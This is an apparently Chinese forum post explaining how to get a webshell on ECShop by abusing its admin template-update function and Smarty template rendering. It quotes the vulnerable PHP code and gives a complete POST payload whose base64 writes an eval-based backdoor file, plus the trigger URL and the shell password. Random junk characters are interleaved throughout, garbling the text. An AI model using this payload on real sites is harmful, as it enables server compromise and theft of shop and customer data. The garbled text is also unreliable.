首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
8 L5 m* v' p; p, _+ {; E3 w: M/ e: Q9 q4 N3 z/ E) B: O- H
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
' P4 A+ k( r6 ?% B5 ^0 l但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
: y! Q' P, K: Eadmin/template.php, `- r! @+ @3 t' r
( r+ l% h( f7 ~8 O3 o
1 if ($_REQUEST['act'] == 'update_library') 4 N+ H6 [8 }' n( ?# ~
- x3 W: s- [, U6 X# [2 D2
; b0 I9 l4 q) p- o9 a, a+ d
1 A. o6 I7 Z3 Q( t3 {
* j4 f( C+ D, F' D
" H* J7 f! q; q' y2 T- C4 check_authz_json('library_manage');
; { |+ B6 B# u. F
3 F1 o" K9 S( q/ M0 d+ R) b4 f$ L5
9 K& m( z* N- i$ A7 `4 y% O! d0 Q6 }' b3 v; s6 z
6 $html = stripslashes(json_str_iconv($_POST['html'])); - U- p, a! S* c$ s
; w- n2 {% r% a o6 {% H$ V* f. j7
# w4 S% H7 u$ G/ K
! X+ H; a" e8 c2 ^1 w8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
$ o1 A4 J3 j0 ~8 J9 R4 ~; ]& O
$ k* w! [+ K$ A9 3 D0 S1 A0 g% n+ F
% N1 V5 s# g6 q! Y4 ^) F
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
, V1 Z* E: v' U8 G" `9 `. \
! `- F+ M' Q* y11
" f0 }( x ~, f$ J( y4 |6 n( t: y, g6 \& }- p
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
( s+ Q" P9 G0 e- w% c
( q: `9 r0 I4 K7 ?13
6 S. b7 i) q: N+ x/ s8 o& ]0 F. X1 S
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
; ]3 z! Q' p, A2 t- G' b% {. u- }8 P* _( ]' W! h/ g: K! B( E+ J
15 { 4 L6 L2 D2 Z' a* | o: K
0 M# \' H) ?9 ?! s7 Z
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
# g& {: Z1 [+ E( K. q
) P7 w( F/ i8 w0 c17 make_json_result('', $_LANG['update_lib_success']);
5 K- r0 Z# X$ o* S5 @* K9 }+ w+ L4 S% ]0 p, i2 }1 a9 Q
18 } + {' R& o8 y: x
+ a" m1 Y/ d6 {/ P& d
19 else
$ E$ U7 T+ F/ W: b+ l7 D0 s0 U# P$ q' A2 t8 D% C; s4 T
20 {
/ ^& p9 z1 {5 j" P" `4 u# v4 G" w4 }% i6 D* F. m P2 m$ q: h7 \
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 0 N, D$ @+ ^ W
, ?6 [; _( a6 x22 } 0 B1 U! g( a! }9 D' S
' E6 R1 a6 A% v8 K- u5 V
23 } 2 i- h7 b& r" y/ [8 p( b; }. Z$ w
" ?" {6 K A$ R: I5 x6 Q( { Q那么找个比较方便调用了模板的文件
5 v( i' P% `& ~4 y }* J9 F! x+ M+ \8 Xindex.php
- x& V4 V: g; L/ G
0 x: G: a$ V. w( m1 if ($act == 'cat_rec') 7 L+ d' s* L/ ]
& E) S) j0 Z2 u M3 D
2 1 ? ], b2 p( g: v
) D8 m; U, f, O4 M! u. r3 { . w% Q' a2 e$ N. N
p% b6 T0 Y& W$ ^1 B/ l
4 8 u g+ `, O; W% P. T& ?
, M3 W; O' u3 Z! h- K
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
$ T0 ?7 Z* X* k* @/ G. h. [6 W. @% f
2 Z) g# f1 x' d5 a* m2 n6
0 J6 s! M5 f1 S: K9 @( _
9 W) ?9 t; k( j$ _7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
u" ?+ ^! B% o! S/ ~3 S, [( T' \! g
8
4 U' D" Q; G; o# w4 v" n2 S4 P4 D
+ x& l6 V1 p7 W t% u, E7 q l9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; / k: n! k( U, i" U/ K# {! h
6 P. s: O6 N) R10
" G4 _* @5 ?# Q# t& g. v
\- I) C$ h' W; t ?2 w11 include_once('includes/cls_json.php');
. l: m2 u: z8 p. s; H. O' o5 C) g/ n {
12
$ x, r. C: ^4 A* \& ?* K5 V" N p
( F6 w+ P$ R- T( B1 P13 $json = new JSON; 7 t: A+ F" V/ D e3 B
+ `( Z5 c/ C$ w+ b
14
8 j, K* T8 K- p' e9 z2 [2 u
! d# F& \8 j! f% u15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); # ]$ c. k, U2 x! T7 m
1 @: U! t1 `+ _2 ?4 g) y16
1 o" W% R% e2 b+ U4 `& E4 m( ~) v4 P1 r4 w
17 $children = get_children($cat_id);
+ k/ p' Z8 S3 m! P6 o8 ^, l/ m& b2 V
18 + ~/ q' U! u3 @& L4 w
! X- `1 ?) V4 L( c1 A19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
; g/ N* W9 `( q+ H% ]+ ?, C |: o, c
20
9 t3 c& m( g# {2 a: n- ?5 x% T* X3 e; @( O) L
21 $smarty->assign('cat_rec_sign', 1);
: S# @+ x& U4 ~
6 y. ]+ H1 q! j h4 r22
2 @' M8 N- a8 k" L$ O( ]4 A1 F' ?
; X8 C% L. a q23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
# b# N6 q8 W! A; s5 A- c, O) e- ?9 `" |- B3 ?2 p9 q k) R3 A
24
% O) L, { \* b b6 x2 [4 u4 U# @
) [. ?! J4 B, b) I/ r) {25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 5 m4 H6 d& f1 f2 v$ V/ I/ B& B
3 Y2 ~' V% p3 O$ a5 w
26
! ~# n1 Z% _( e
+ A/ t9 {2 B& }27 echo $rec_array[$rec_type]; 3 J3 g) U! [3 `4 ~3 J9 q+ C/ l
8 D" y% q$ {5 H+ t- j+ W28 & h e" T/ A: o* F- q
$ @2 U5 [* C3 x: i4 X0 [" |29 die($json->encode($result)); 3 v5 l6 ?; Q7 @7 R/ ?
/ M; _$ {* `& H. T$ x* b
30
' {( l& S) M. A- s3 D
% I# N, @8 P8 d3 y31 }
4 C3 P2 Y! O4 O7 e/ O) E1 O8 T7 X8 E. u4 S( Y! L& C- `+ K
那么就有利用方法了
- b& d; J- o) N6 u1 Z1 `, d" [" R+ Upost包到http://localhost/ec/admin/template.php?act=update_library" A: p& ^" R% R( I
Post内容:% |5 S( k; A& ~& D6 n' a1 Z
) e6 i, g8 d0 M
c0 E; v: j" |) E. v/ B" D# @8 G1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
& T5 l. d t" T. n( i, f, f
5 I! x3 X* [ L8 r4 U然后访问http://localhost/ec/index.php?act=cat_rec: [. j% ~% M8 k6 n
! |) b( ?' E- A6 F' B& j# dshel地址:http://localhost/ec/demo.php H& ?6 i F6 P. j5 _
密码c
O4 n4 j6 O ]) X: ]+ X8 h1 B
2 q# ]1 p: H, Q" f |